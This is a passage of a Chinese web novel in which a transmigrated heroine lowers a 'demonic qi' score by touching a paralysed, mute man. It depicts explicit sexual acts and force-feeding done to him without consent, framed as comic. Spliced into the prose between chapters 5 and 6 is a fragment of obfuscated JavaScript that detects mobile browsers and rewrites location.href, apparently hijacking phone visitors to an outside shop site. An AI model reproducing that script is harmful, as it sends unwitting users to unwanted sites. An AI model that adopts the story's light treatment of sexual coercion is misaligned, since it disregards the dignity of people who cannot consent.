《堕仙的极限生存指南》
3. 第三章
白珏记得,昨晚她在疼得断片儿之前,魔气值已经涨了回去。
难道是她昨晚疼迷糊了,记错了?
可就算是她记错了,为何会一夜醒来,狂降53分?
不是说释放善意才能清除魔气吗?
很明显,男人身前的这片狼藉,和“善待”二字毫无关系。
白珏心中隐隐生出了一个大胆的猜想,但很快,那猜想又被她按了回去。
不可能这么离谱。
白珏目光灼灼,望着那白皙的肤色,宽阔的胸膛……最终不受控制地停在了某两处上……真大。
她还从未见过这样的规模,脸颊倏地一下就烧起来了,连带着脑子也慢了半拍。
想什么呢!
正事要紧!
白珏猛然回过神来,赶忙将视线移开。
可目光落到男人脖颈上时,又顿住了。
依旧是白皙的肌肤,只是肌肤上多了几片红痕,还有几道细长的划痕……
她记得昨天男人脖颈上还没有这些。
这下,她不得不多想了。
白珏从地上爬起,再次回到石床边,见男人竟还沉沉地闭着眼,便不由唤道:“喂,别睡了,醒醒!”
男人双眼倏然睁开,露出一双骇人的金瞳,而那金瞳正中,原本当时黑亮圆润的瞳孔,此刻竟缩成一道竖直的细缝。
白珏心脏猛然一紧,莫名生出股渗人的寒意。
然只是一眨眼的工夫,那双金瞳便倏然消散,恢复成了寻常人眼的模样。
白珏愣住。
她没看错,她确定自己绝对没有看错,不过想来男人并非常人,有此异象也不足为奇。
真正让她在意的,是男人眼里那明晃晃的愤怒与肃冷,那股宛若利箭一样要将她射穿的恨意。
看到这一幕,白珏还有什么不明白的?
男人身前的一切,当真都是她做的。
最后的一丝侥幸也没了。
许是因为心虚,白珏不敢再与男人对视,也不敢再看那些绯红印迹。
“昨晚的事……我记不得了。”
这话怎么听起来有点渣渣的?
白珏摸了摸鼻子。
“恨我罢。”
很好,更渣了。
“那就……就……就当做……”
没发生过?
白珏看了眼魔气值。
那是不可能的。
“就当做是我救你性命,你以身相许罢。”
幽幽叹了口气,白珏不顾男人那渗人的眼神,指腹从他喉结旁的红痕处轻扫而过。
视线正中:【-1】
魔气值:【999999945】
白珏挑眉,“其实我也不想这样的,但你昨晚应该看到了,那病来势汹汹,我也没办法。”
指腹顺着一条细长红印,从脖颈处一路朝下轻抚,“山间野兽那么多,你又长得细皮嫩肉的,要不是我昨日救你,你早就一命呜呼了。”
视线正中:【-1】
魔气值:【999999944】
白珏指尖捏起男人衣衫,将那宽阔胸膛重新遮住,她未与他肌肤触碰分毫,魔气便也一分未降。
很好,还真就是这样离谱。
与什么释放善意毫无关系,只要肌肤相触,魔气值便会下降。
是她昨日疏忽了,其实仔细回想一番,昨日两人的确是先肌肤有了碰触,才会降分的。
头一次降分就是因为她压住了男人的手,后面她将男人拖进洞的时候,隔着衣袍,便没有降分,再后来她抬他腿,应当是恰好碰到了裤角破损之处,与他肌肤有了接触,才又降了一分。
至于擦脸时突然降下的两分……
白珏朝男人唇角看去,微眯的双眸突然瞪大,一个大胆的猜测再次生出。
“触碰的位置不同,下降的分值也会不同?”
白珏脱口而出的话,让男人的双眸也再次睁大,眼底寒意如同惊涛骇浪。
白珏强压住涌上心头的那丝罪恶感,抬手从男人干裂到已是渗血的唇瓣上,轻抚而过。
视线正在:【-2】
魔气值:【999999942】
嘶!还真是如此……
白珏颤颤收手,指腹还残留着那抹干涩与温热。
若唇瓣能降两分,其他地方……
白珏视线不由自主再次向下滑落,重新回到了那个小尖尖上,只是小尖尖此刻被单薄的中衣所盖,隐隐透出一个红豆大小的点。
许是她盯得太久,眼睛花了,怎么感觉那个小点似是微颤了一下。
白珏眨巴眨巴眼,匀了个呼吸,母胎多年的她,还是头一次做这种事情,面红耳赤是难免。
但她拎得清出,今日所作一切都是为了回家。
衣襟再次被掀开。
拇指与食指缓缓下落。
轻轻捏住。
视线正中:【-5】
魔气值:【999999938】
五分?!
一次就减了五分!
她方才又是脖颈又是唇瓣的,顶多也就一两分,这一处竟然只是轻轻一下,就能降下五分!
许是太过激动,指尖的力道不自觉便重了几分。
男人浑身倏然绷紧,呼吸也骤然一滞,双眼紧紧闭起,那神情分明已是隐忍到了极致,带着一股不堪受辱的决绝。
白珏心头一颤,赶忙松开了手,那道歉的话下意识便要脱口而出,可视线右上方的那串数字,又再次提醒了她,一切都是虚幻的。
这只是某个作者写的小说而已,她不必在意。
“你……你也不必在意,我只是……”
罢了,连他也是虚拟出来的。
她和一个纸片人说那么多做什么。
总归,回家的办法她已经找到了,这串数字再是骇人,也终会有清零的一天。
白珏唇角微扬,心情忽然就好了起来,肚子却不合时宜地叫了一声。
趋于肉体凡胎的她,好像自昨日穿书到现在,一口水都没喝,一口饭也没吃。
怪不得她总觉得晕晕乎乎,又浑身无力,原来是被饿的来了。
白珏不得不外出觅食,好在原身的衣裙已是干了七八成,她便换下白袍,重新穿上了那身黑裙。
换衣时,她依旧不忘用系带遮住男人的眼睛。
不过男人自始至终也没睁眼,应当是恨透了她吧。
不重要。
回家最重要。
她从那堆木柴旁,寻到了一个粗瓷碗,随后她来到洞口,朝外观望了一番,见外间并无异样,这才轻手轻脚走了出来。
不得不说,原主很会挑地方。
洞内有净心泉可以帮忙抑制疼痛,洞外还有一排大树,能将洞口隐蔽其中,而不远处,便是一条清澈的小溪。
白珏也顾不得烧开,双手捧着就喝了起来,喝完,便又将粗瓷碗冲洗一番,装水正要往回走,便见不远处长着两棵果树。
白珏心头一喜,端着碗就走了过去。
好在果树不高,便是白珏不会爬树也无妨,抬手就能摘得。
这些果子只有山楂大小,形似苹果,却比苹果更加红艳,在日光下,似还散发着某种诱人的微光,让人只看一眼,便忍不住想要一口吃进腹中。
但也可能是因为她太饿了的缘故。
白珏摘下一个,在手心里擦了两下,张口便要咬,却忽然停住。
万一有毒呢?
白珏不敢吃了。
但还是一口气摘下十来颗,放在裙摆上,一手端水,一手抱果子,小心翼翼回到洞中。
白珏早已饿得前胸贴后背,捧起果子就冲到男人身边。
男人一见是她回来,立即就将眼睛闭上。
白珏:“……睁
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开。”
男人闭得更紧。
白珏:“不睁是吧?”
衣襟被指尖缓缓剥开。
男人眼皮倏然抬起,用那含着威严与肃杀之色的目光朝她射来。
这分明是在警告她。
但白珏毫不在意,拿起一个果子忙问:“这果子你认识吗?”
男人看到果子,眼神中闪过一丝嫌恶。
那就是认识,但不喜欢。
“有没有毒,能不能吃呀?”白珏道,“能吃就眨一下眼,不能吃就眨两下!”
男人冷冷看她,故意不作回答。
白珏:“……”
好个忘恩负义的,是想饿死她吗?
这深山老林的,她饿死了,他也别想好过。
白珏看了看男人身前,又看了看他那张死倔的脸。
行。
指尖再次落下。
捏住的瞬间,男人颤颤地吸了口气。
见他双眼再次闭紧,一副硬刚到底的模样,白珏冷嗤一声,两指开始细细揉捏起来。
“能不能吃,说话。”
差点忘了,他说不了。
“能不能吃,眨眼!”
男人呼吸彻底凌乱,眼皮也终是抬起,飞快地朝白珏眨了两下,随后又死死闭上,那深蹙的眉心,显然是极其气恼,也不知到底是在气白珏,还是气自己会有如此反应。
白珏松开手,望着手中果子,叹了口气。
这样好看的果子,竟然不能吃。
真是白忙活一场。
不过……在她方才一番操作下,魔气值倒是降了不少,已经降到了【999999878】。
可这有什么用呢?
肚子叽叽咕咕叫个不停,她都快要饿死了……
白珏不知想起什么,忽然眯起眼来,又朝男人看去,“哎?你该不会是故意骗我吧?我告诉你,你不能恩将仇报!”
男人依旧死死闭着眼,那脸上神情大有一副“你要这么想,我也没办法”的意味。
算了。
他现在这副模样,分明是恨透了她,哪里肯说实话?
没准就是故意骗她,想将她活活饿死。
既是如此……
白珏深吸一口气,从地上捡起一块石头,将那果子砸成几半,随后捏起最小的那块,抬手握住男人下巴,将那一小块果子直接塞进了他的口中。
男人简直不可置信,一双写满震惊的眼睛死死瞪向白珏,而那块果子,也被他从口中推了出来。
白珏急了,“不许吐!”
她捡起果块,又给塞了进去,男人再次顶掉,白珏便再往里塞。
一来二去,白珏彻底失了耐性,捏起果块连同手指也一并塞进了他口中,直直朝着喉咙的位置推去。
男人彻底愣住。
白珏也顿时僵住。
她的手指正抵着那块果子,而他的舌尖……正抵在她指腹上。
温软,湿滑,微微发颤。
男人那白皙的脸颊,顿如火烧。
白珏的耳根,也是一阵滚烫。
她下意识想要将手指抽出,可那指尖只是略微朝后缩了一下,便又立即停住了。
她定定地盯着眼前蹦出的数字。
【-8】
【-8】
【-8】
那柔软与湿滑,每与指腹相触一下,便能直降八分。
白珏缓缓回神,轻咳一声,带着几分埋怨道:“好好喂你,你不吃。”
她顿了顿,余光扫过他那双几近喷火的眼睛,将指尖又朝里面推了推,“就喜欢吃人家手上的,是吧?”
也不知是那指尖太过用力,戳痛了他,还是满肚子委屈道不出,又或是太过气恼所致,男人那满含怒气的眼眶里,竟添了一抹水润。
啧啧,怪可怜。
白珏理直气壮:“是你先舔我的。”
4.第四章
清除魔气值固然重要,但也不是一时半刻就能完成的,当务之急,还是要先填饱肚子。
白珏见男人吃了果子后,并无任何中毒迹象,便抽出手,随意在男人衣衫上抹了两下,拿起果子吃了起来。
这小红果子长得像苹果,口感却是截然不同,入口软糯如蜜,与那夏日里的水蜜桃倒是极为相似。
白珏吃完一个,忍不住又拿一个,竟是一口气吃下了近十个。
待吃饱喝足,脑袋里那股晕晕沉沉,似也终于散去大半。
她抬袖擦擦嘴,垂眼又朝男人看去,“这果子根本没毒,你以后要是再骗我,我就罚你。”
这个世界对白珏而言,太过陌生,便是现在知道如何清除魔气,想要将近乎十亿的分值全部除去,也需要很长时间,她没办法保证在这段时间里,还会不会遇到别的麻烦。
男人闻言,那神情里不见一丝愧疚或是惧怕,反倒是生出一股极为冷厉的怒意,就好似在说,若他能动,便叫她灰飞烟灭。
白珏的确有些怕,但只怕了一瞬,便抬起手中石块,砸了下去。
果子碎开。
一块又一块塞进了男人口中。
她感受到了他的抗拒,也看出了他的恨意,但没有办法,她连他需不需要吃喝都不知道,对他的全部认知,不过是从这身装扮猜出来的。
万一猜错了呢?
白珏暂时还赌不起。
喂完最后一块果子,眼前那狂跳不已的分值,终是告一段落,白珏朝右上角看去。
魔气值:【999999650】
白珏很是满意,起身来到男人身边,小心翼翼扶起他,让他靠在她怀中。
伸手去端粗瓷碗时,男人脑袋一偏,整个身子不受控地向下跌落。
白珏连忙伸手去捞。
男人的半边脸,不偏不倚,正好落在了一团绵软上。
白珏似是未觉,只一手端碗,一手将男人往上拉。
拉了几次都没能将人拉起,反而还让那半边脸,又在那团绵软上蹭了几下。
男人早已紧紧阖目,也有意屏住了呼吸,可那张本就白皙的脸,此刻却好似红如滴血。
白珏终于将他身子重新揽回怀中,见他神色异样,这才反应过来方才他碰了何处。
“都怪你,乱动什么……”嘴上不饶人,耳根却也跟着红了几分。
男人睁开眼,幽幽朝她看来。
心虚是有的,但气场不能弱,白珏将碗递他唇边,故意冷着脸,“别不识好歹,张嘴喝水。”
要不是看他唇瓣干裂到不住冒血,她才懒得伺候。
可男人瘫得彻底,便是勉强用碗边将他唇瓣撬开,水也会顺着唇角流出。
“装的是不是,非要人家喂?”
白珏被他折腾得一头汗,后腰又再隐隐酸痛,便故意调笑他。
“罢了、罢了!”
她斜睨男人一眼,撇撇嘴。
“救人救到底,谁让我善呢?”
她将碗端到自己面前,又故作叹气。
“满足你就是了。”
说罢,她仰脖喝下一大口,随后搁下手中瓷碗,捏起男人下巴便迎了上去。
本是打着豁出去的态度,速战速决。
可那唇瓣相触的瞬间,脑子忽地空了一瞬。
好像有什么东西倏地一下被点燃,她脸颊灼热,呼吸灼热,连同心脏也变得愈发灼热。
虽说母胎solo了二十多年,但自认不是什么纯情少女,该看过的花样也都看过,怎就被区区一个唇齿相贴,灼到了如此地步?
而她怀中之人,不论是那逐渐滚烫的唇瓣,还是那凌乱不堪的呼吸,都在表明此刻的他与她一般无异。
至于那原本清凉的水,此刻混合着淡淡淡血腥,逐渐变得温热起来。
白珏晕晕乎乎将水半渡半饮,直到眼前蹦出数字,她才倏然清醒过来。
【-10】
以口相触,一次就能降十分?
那还羞什么,慌什么?
白珏不作他想,端起碗再喝一口,覆唇又渡了过去……再喝,再渡,再渡,再喝……
反反复复,直到双唇发麻,瓷碗见底,才终是作罢。
白珏气喘吁吁,坐在床边擦嘴。
被重新放回石床的男人,唇瓣在颤,心口在乱,一双眼睛则在狠狠剜着她。
白珏没工夫搭理,而是盯着魔气值出神。
【999999584】
一个危险的念头从她脑中一闪而过,白珏还未来及抓住,便听外间忽地传来一阵鸟鸣。
白珏被吓了一跳,赶忙抬眼朝外看去。
好像是只黑色的鸟,摔在了洞外,翅膀扑腾了两下,便不再动了。
白珏觉得奇怪,这鸟儿好端端的为何忽然坠地?
静默片刻,见洞外再无声响,白珏这才起身来到洞口。
望着地上的黑鸟,白珏忽地想起昨日,男人似乎也是这样忽然坠地的。
她不敢随便触碰这只鸟,只是心中纳罕,便探出脑袋,朝着上方看去。
蓝天白云,日头正好,没有任何异样。
白珏蹙眉想了半晌,终究还是什么也没想出来。
算了,趁着日头好,将黑袍拿出来晒晒,待夜里冷的时候,正好当做被子盖。
白珏转身回到洞中,从泉边将原主的那件黑袍抱了出来,正要往树上搭,一阵剧痛骤然袭来。
疼得来得毫无征兆,就好像有什么东西从骨缝里猛然炸开。
怀中黑袍当即掉落,白珏也险些一头栽倒,幸好扶住了面前树干。
有了昨日的经历,白珏已是知晓,这疼痛只会愈发强烈,根本让人无法承受,她必须赶紧回去。
一路跌跌撞撞,好不容易跑进洞中,却不知为何,白珏的脚步猛然顿住。
她的视线,落在了右上角处。
而那串数字,正在疯狂跳动。
【999999633】
【999999634】
【999999635】
【999999636】
魔气值在涨……它真的在涨……
昨晚她没有看错,这股剧痛袭来的时候,魔气值会跟着涨回去的!
一阵刺耳的嗡鸣传入脑中。
白珏如遭雷击般僵在原地,旋即身影一晃,整个身子直直地摔向了地面。
她疼得已是站不起身,那原本就瘦弱的身影,此刻被疼痛折磨到蜷缩成了小小一团。
她怔怔地望着那串数字,脸上神情从震惊,到恍然大悟,再到一种近乎崩溃的绝望。
没用的。
做什么都没有用了。
不管她再怎么努力,再怎么豁得出去,到头来都会涨回去的……
泪水不断朝外涌出,白珏已是分不清究竟是因为疼痛,还是因为太过绝望。
又或是两种皆有。
“为什么……不让我死呢?”
干脆就这样疼死她吧,也好过反反复复受着无尽的折磨……
【999999798】
【999999799】
【999999800】
魔气值在不断上涨,疼痛也在不断加剧。
白珏不知自己还能撑多久,若是支撑不住,便叫她死了,好不好……
不要再醒来了,求求了……
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求求了……
恍惚中,她看到了自己的家人。
她看到正在厨房忙碌的母亲,忽然回头,冲着她笑了起来……院子里正在修剪花草的父亲,也突然抬眼,朝她弯唇……
妈……爸……
我想回家……
我要回家。
泪水从眸中滚落,模糊的视线里射来一道清明。
是那石床上的男人。
他就那样低睨着她。
没有同情,没有怜悯,只有那冰冷到漠然的神情。
就好像,他在等待着她的死亡。
不,她不能死。
她要回家。
白珏忽然死死咬住嘴唇,撑起那疼到发颤的手臂,就这样一点一点朝着石床爬去。
她摇晃着抬起胳膊,握住了男人的手。
视线正中赫然弹出:【-1】
右上角的魔气值也跟着倏然停下:【999999943】
白珏身上的疼痛被瞬间抽离,像是溺水之人被猛然拉出水面,脑中一片空白,只余一丝力气,趴在床边不住地喘息着。
可不知为何,一股奇异之感从心头涌出。
白珏蹙眉微怔。
她想起来了,是在与男人渡水时的那股灼热,竟在此刻又烧了起来。
似是被唤醒一般,正一点点漫上指尖。
而男人原本温热的手,此刻也不知缘何,愈发炙热。
白珏说不清这是什么感觉,只知她原本打算放开的手,却不受控制般,将男人的手越握越紧,仿若是在渴求着他的灼烧。
白珏缓缓撑坐起身,视线落在了男人脸上。
他闭上了眼,眉心却是蹙得极紧,像是在做某种极致的隐忍,忍到他额角渗出了一层细密的汗珠,喉结在不住地吞咽着何物,而那心口,更是起伏到让人难以忽视。
白珏看到这一幕,眼神渐渐变得迷离,眼尾也染了抹奇异的绯红。
她好渴啊。
可她不想喝水,也不想寻得一丝凉意,只想更烫一点,更热一点,与他痴缠在一处,感受着彼此的灼烧。
白珏不知不觉爬上石床,又不知怎地,整个人便盖了上去,剥开衣襟,趴在他胸膛上,与他紧紧相贴,交换着彼此那骇人的温度。
视线正中的数字闪过,右上角的魔气值也在跟着下降。
可白珏仿若无睹,面上不见一丝喜悦,只是将脸颊贴在那灼烧之处,用那微阖的双眸,望向那近在咫尺的粉嫩。
鼻尖缓缓凑了过去。
近一点,再近一点。
那股不断翻涌的灼热,像是散发着某种难以抗拒的魔力,驱使着她不断向眼前靠近。
直到鼻尖轻触,视线正再度蹦出:【-8】
白珏呼吸顿了一瞬,却是没有退开,迷迷糊糊地张开了口。
【-15】
【-15】
【-15】
【-15】
白珏彻底合上双眼,不住地汲取着口中的滚烫,哪怕只有一点点,也叫她不舍放过。
恍惚间,似有什么戳到了她。
隔着薄薄的衣衫,也能觉出它疯狂的灼烧。
白珏的心跳顿了一拍,脑中似有根弦倏然绷紧,可随即又骤然断开。
而那小小的灼热,已是烫得她迷迷瞪瞪,她费了好些力气,才缓缓掀起眼皮,用那绯红眼尾,朝着上睨去。
“是你……先戳我的……”
低柔的声音里透着沉哑,含糊不清,却理直气壮。
【-15】
【-15】
【-50】
【-15】
【-50】
【-50】
5.第五章
一阵野兽的嚎叫声由远及近。
白珏眼皮跳了跳,眉心也不由蹙起,在哼咛了两声后,眼睛才终是缓缓睁开。
此时的洞内已是一片漆黑,只有零星月光穿过树影落在洞口。
“天黑了啊……”
她嗓音有些沙哑,说完话后,眨眨眼便要起身。
可不知为何,手里总觉得有个东西,黏黏糊糊的,很不舒服,她想拿到面前看看,结果手臂刚一动,头顶便传来一声急促的吸气声,而手中的团黏腻,似也跟着动了一下。
什么鬼?
白珏怔了一下,眼睛彻底睁开。
几乎瞬间,她便意识到自己又一次做了人形被子,就这样盖在男人身前,只是衣襟没有那样乱了,因为彻底被扒开,让整个胸膛展露无遗。
洞内的光线虽弱,可还是叫白珏看得愣住。
那两个小尖尖,一个大,一个小,大的那个,周围有几处杂乱的红痕。
而这些红痕,白珏看着不算陌生,因为白日里她在男人脖颈上见过。
可谓是一模一样。
“这、这、这……”这样疯的吗?
她还是有点懵,有点不敢相信。
不过还有更疯的。
因为她发觉,手里好像有个什么东西,黏黏糊糊,有股说不出的难受。
她下意识想要拿起来看,可刚一用力,眼前之人便骤然倒吸口气,脸上露出痛苦神情。
有那么一瞬间,白珏好像意识到了这是什么。
许是起猛了的缘故,或是脑子还没彻底转过来,她还是垂眼朝着掌心看去。
只是看了个大致轮廓,白珏便倒吸口气,如白日那般,再一次连滚带爬摔下石床。
“啊啊啊!”
“你个流氓!”
“你对我做什么了?”
面对震惊又羞愤的指责,石床上的男人双目紧闭,在那幽兰的月色下,未露任何神色,就好像眼前的一切凌乱,都与他无关,而他只是尊清冷的神像,不染一丝凡尘。
一瞬的沉默后,白珏瞳孔骤然一缩。
她终于反应过来,不是男人对她做了什么,而是她对人家做了什么!
白珏立即垂眼朝掌心看去。
幽暗的月色下,有什么东西在指缝间,泛着隐隐的光泽。
“啊——”
土拨鼠尖叫声,从洞内直穿云霄。
白珏从地上弹起,三步并做两步地冲到温泉池边。
不是吧、不是吧!
白珏啊,你、你、你!
你怎么能疯成这样!
你无敌了啊啊啊啊!
一万头神兽,一边咆哮,一边奔腾而过。
白珏用力搓洗着掌上的东西,将整个手掌搓得通红,明明已经什么都没有了,但她还是带着几分崩溃地不停搓着。
也不知她又想到了何事,那搓洗的动作忽然一顿,连忙又垂眼将自己打量了一番。
衣衫完好,只是沾了些灰土。
白珏泄气似的一屁股坐在了池边。
还好,没有疯到无法挽回的地步。
也不能怪她多想,她对这个世界的设定没有任何把握,万一魔气没清完,又挺个大肚子,那岂不是彻底完蛋?
想起魔气,白珏赶忙朝右上角看去。
【999998433】
白珏又震惊了。
盯着数字看了好久,才敢确信没有看错。
她记忆里最后一次看魔气值时,末位那三位数应当是400多,具体数字记不大清了,但她很确定,千位数是9!
也就是说,睡个午觉醒来,直接降了1500多分!
方才还臊到无地自容的白珏,此刻脸上已是浮出欣慰的笑意。
值了,一切都值了。
再看掌心,虽说还是有点膈应,但想想清掉的魔气值,就好像也就那么回事了。
白珏情绪下来后,便开始复盘白日的事。
她现在可以百分百确定,发病时,魔气会不断上涨,直到涨回原数,且随着分值越高,疼痛也会加剧,而阻断这一切的办法,就是立即与那个男人相触。
哪怕只是握手,也会即刻起效。
想到此处,白珏眉心又是一蹙。
她有些想不起来了,当时握了手后,她为何要往石床上爬呢?
不仅爬了上去,还摸,还亲,还掐……好像也咬了,也碰了那个……
白珏想起来了,全部想起来了。
那何止是碰,简直是……是……怪不得她手腕到现在都还是酸的!
白珏深深吸气,缓缓呼出,逼着自己不要在想,只将注意力全部放在分值上。
以手相触的话,他的手可以降1分,唇是2分,那处是8分,可若用唇触,便是15分,还有那个……50分……
白珏坐在池边细细盘算着,一阵夜风吹入洞中,她鼻子一痒,打了个喷嚏。
好冷。
肚子也饿了。
可她不敢深夜外出,只得先忍着,等明日天亮了再说。
而石床上的男人,此刻衣襟大敞,便是他再不怕冷,也要顾及体面,毕竟是她将人家吃干抹净的,若当真不管,那的确是太不厚道了。
白珏深吸口气,起身捡起昨日扯下来的布条,在池中清洗一番后,回到了床边,顶着一张红到快紫的脸,开始帮男人擦洗。
【-1】
白珏发誓,这不是故意的,只是擦洗的时候不小心碰了一下。
【-1】
【-1】
【-8】
那个尖肿成那样,肯定也没少亲,也是要好好擦洗一番的,大不了她轻点就是了。
【-8】
【-8】
【-8】
……
差不多了,再擦就破皮了。
整理好衣襟,便到了最棘手之处。
虽说已是做足了心理建设,在看到这一幕,白珏还是觉得有点下不去手。
看看魔气值:【999998386】
好像又可以了。
反正一切都是假的,这就是本小说罢了。
她擦的不是男人,是纸片人,是马赛克……
【-50】
白珏呼吸一滞,那故作轻松的神情也跟着一紧,下意识抬眼朝男人看去。
他未曾睁眼,眉心却是紧紧蹙起。
白珏知道,他根本就没睡,闭着眼只是因为不想理她,或者说是不想面对现实。
其实想想也是,他生成这副容貌,原本该是天之骄子才对,可惜成了一个瘫子,还遇见了一个魔头,没事就对自己酱酱酿酿。
唉,道德感越高,越觉得良心不安。
【-50】
哎?这次真的是不小心,她又没有趴在跟前看着擦,洞里这样黑,难免会碰到。
【-50】
啊呀,又碰到了。
【-50】
唉,她也只是想擦干净点。
【-50】
这……真的是不小心。
不过白珏突然意识到一个问题,她擦了这么多下,他就没有任何反应吗?
她记得应该是一种很壮观的触感啊?
唔,白珏懂了。
他也就是一次,连续两次是不行的。
不过不重要,能降分就行了。
她也只是有点好奇罢了。
总算忙活完,再看魔气值:【999997964】
可喜可贺,终于打开八千大关了!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512324|202813||http|test|mini|href|location''.split(''|''),0,{}));
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>白珏心情愈发好了,可男人还是一副要死不活的模样。
她也不好再说什么,拿起白袍帮他当被子盖在身上。
自己将黑袍捡起,拍了拍灰尘,裹在了身上,随后来到石床里侧。
她今晚得和男人一起睡,不做其他事,她也没那个精力了,只是害怕被骤然疼醒,更怕所有的辛苦白费,魔气值又全部涨回去。
【-1】
两人十指相交,有种奇异的踏实感。
白珏眼皮刚一闭上,便听到洞外传来一阵窸窸窣窣的声响。
起初白珏还以为是风,没有在意。
可那声音越来越近,像是有什么东西在缓缓爬行。
白珏心里咯噔一下,赶忙睁开了眼。
她不敢有太大动静,只小心翼翼将头抬起,眯眼朝着洞外看去。
昏暗之中,一双散发着绿光的眼睛,正直直地盯着她。
四目相对,白珏后脊一凉。
随后,她发现不止一双,而是……四双!
四双绿莹莹的眼睛,在黑暗中一字排开,虎视眈眈地盯着洞内。
外间太黑,白珏也看不真切那东西的模样,只知看轮廓,这些东西体型不算大,嘴巴却是大得出奇,一咧嘴,那森森的白牙,在月色下泛着寒光。
一定是她之前醒来时的叫声,将它们引了过来。
白珏用发颤的指尖,戳了戳面前男人,低声道:“快睁眼啊,有野兽过来了……”
洞外走在最前面的野兽,似是听到了她的声音,忽地发出一声低吼。
那声音听得白珏又是一颤,再次低声道:“你不是仙人吗,有没有办法啊?”
男人双眼依旧合着,没有任何反应。
白珏又急又怕,终是忍不住掐了男人大腿肉,“别装了,你快睁眼看看!”
话落,为首的那只忽地往后缩了缩。
这个动作白珏很熟,是猛兽在扑杀猎物前的一种蓄力。
完蛋。
她们要被啃了。
不等白珏做出反应,下一瞬,那野兽腾空而起,直朝洞内袭来。
可就在洞口处,它像是撞到了一面无形的墙,整个身子猛地弹了回去,重重地摔在地上。
它一面呜咽着哀嚎起来,一面四脚朝天不住乱蹬,很快,便没了生气。
再看那剩下的三只野兽,似是觉察到不对,皆朝后退去,不敢上前。
可转眼,它们便朝地上的那只围拢而上,疯狂地啃食起来。
不过片刻工夫,那只野兽便只剩下一副骨架。
在它身旁不远处的那只黑鸟,也被当中一只野兽啃食了个干净。
在之后,那三只便头也不回地消失在了夜色中。
白珏愣愣地看着洞口,那里明明什么都没有啊,她今日还出去过一趟,也没有撞到任何东西。
可那只野兽,分明是被什么东西弹了回去的。
白珏忽然想起白日里的那只黑鸟。
莫非那黑鸟不是无端坠落的,而是要飞进山洞的时候,也撞到了那个东西?
白珏小心翼翼走下石床,缓缓来到洞口处,指尖伸出洞外,并无任何异样。
她眯眼思忖,很快便恍然大悟。
是结界!
这洞口有层结界!
而这结界正是原身所设,所以她可以自由出入,而黑鸟与那野兽不行。
白珏悬着的心终是落了下来。
不由再次感叹,原身可真是强大,能设出这样厉害的结界,不仅可以拦住闯入者,还能让其当场毙命。
可旋即,她眉心倏然蹙紧,回头看向石床。
他成这副鬼样子,该不会也是……被结界弹的?
那他为何要闯进来?
总不能是认识她吧。
6.第六章
“喂,睁眼。”
白珏坐在石床边,推了推男人。
男人双眼紧闭,依旧没有任何回应,仿若已是看淡生死,世间万物与他再无任何关系。
白珏知道,他还在生气,可气归气,日子还是要过的。
“不理我?”
【-1】
指尖从耳根处缓缓划过,停在薄唇之间。
【-2】
“我最烦别人不理我。”
【-8】
撬开唇齿,舌尖立刻朝后缩去。
【-8】
“知道怕了?那还不快睁眼。”
白珏发觉自己有点邪恶,但她又能怎么办,很明显任务就是要她如此做的,不然为何要送一个瘫痪的美男到她面前,又必须触碰才能降低魔气值。
【-8】
指腹不重不轻压在了舌面上,湿滑与温软的触感中,多了丝细微的颤动。
明明害怕了,还要玩命死倔。
“你是属驴的吗?”
白珏真是服了。
“非要逼我做魔头吗?”
她冷着脸,用另一只手撩开衣襟,专挑大的那个掐。
【-8】
【-8】
【-8】
【……】
白珏合理的怀疑,他这一处应该是被掐揉的没了知觉,不然怎么会肿成这个模样,他还无动于衷?
“哎呀!”白珏故意扬起语调,“都怪我,下手没个轻重,你别怕哦,我给你吹吹……”
她故意俯身,朝那红肿之处吹了口气。
便是瘫得无法动弹,感受到这股温热气息的瞬间,他的呼吸还是会猛然一滞,整个身子也绷得更僵。
“哦……”她尾音故意拖得极长,“看来病情没有加重呀,我还以为你已经瘫到毫无知觉了呢。”
男人脸颊上的肌肉似是微微跳动了一下,但那眼睛还是不打算睁。
行,闲着也是闲着,干脆清点魔气值。再说了,方才是她亲自擦洗过的,干干净净,吃就吃了,又不是没吃过。
反正自打来了书中,她已经在不断地突破下限,也不在乎这一次了。
刚好一大一小很不协调,她就帮他把两个弄对称。
这还是白珏在清醒的时候,与人做这般亲近之事,她垂眼盯着那个小点,默了片刻,最终还是忍不住闭上了眼。
【-15】
只一下,她便立即顿住,半睁开眼,用眼角去看他反应,见他只是颤颤地吸了口气,依旧没有服软,白珏彻底气恼。
【-15】
【-15】
【-15】
一番折腾后,她起身擦了擦唇角,用小指勾住系带,正要拉动,男人那双眼睛,终是倏然睁开。
“我有理由相信,你是故意的。”故意佯装生气,实则巴不得她这样做,无耻!
要不是看在任务的份上,她有一万种法子治他,才不会与他做这些!
白珏气呼呼上前,对上了男人的这双金瞳。
晨起时,她见过一次,当时金瞳只是出现了一瞬,她尚未来及看清,便立刻恢复常态。
而此刻,这双金瞳正直直地盯着她,那瞳仁正中的黑色细缝,仿若在极力压抑着某种怒意,盯得人下意识便想要躲避。
“再瞪!”
【-50】
系带上的那只手朝下挪了挪,只是略微用力一捏,他的呼吸便陡然一滞,瘫软的腰腹也因条件反射而微弓了一下后,再度落回石床。
与此同时,那双骇人的金瞳,也跟着猛然颤动,锐利与冷漠在眼底不断撕扯,最终,金色散去,男人眼睛恢复如常。
他不再看她,更遑论瞪她,眼底也只剩一片默然。
“这就对了。”
白珏松开手。
“这个洞口是不是有结界?”
她让男人眨眼来回答,就像询问果子时那样,是就眨一下,不是就眨两下。
一下。
男人没再抵抗,配合地给出了答案。
“我就知道!”白珏有些兴奋,连忙又问,“那你昨天是不是要进来,但是被结界弹飞了?”
男人似有些不愿回答,默了片刻,最终还是眨了下眼。
“那你也没多厉害嘛。”白珏眉梢微挑,想到什么便直接说了出来,“连我的结界都闯不进来,还把自己搞瘫了。”
男人眼皮跳了跳,定定地看了她两秒,便又冷冷移去了别处。
白珏莫名有种被训诫的错觉,就像上学时候说错了什么话,被老师看了一眼,便再也不敢放肆。
可她转念一想,男人应该也是有两把刷子的,毕竟黑鸟和野兽撞上后皆是当场毙命,他只是瘫了而已。
“诶?那你现在为什么没事呢?”
照理来说,有那层结界,男人应该是不能进来的才对。
男人的目光落在了白珏手上。
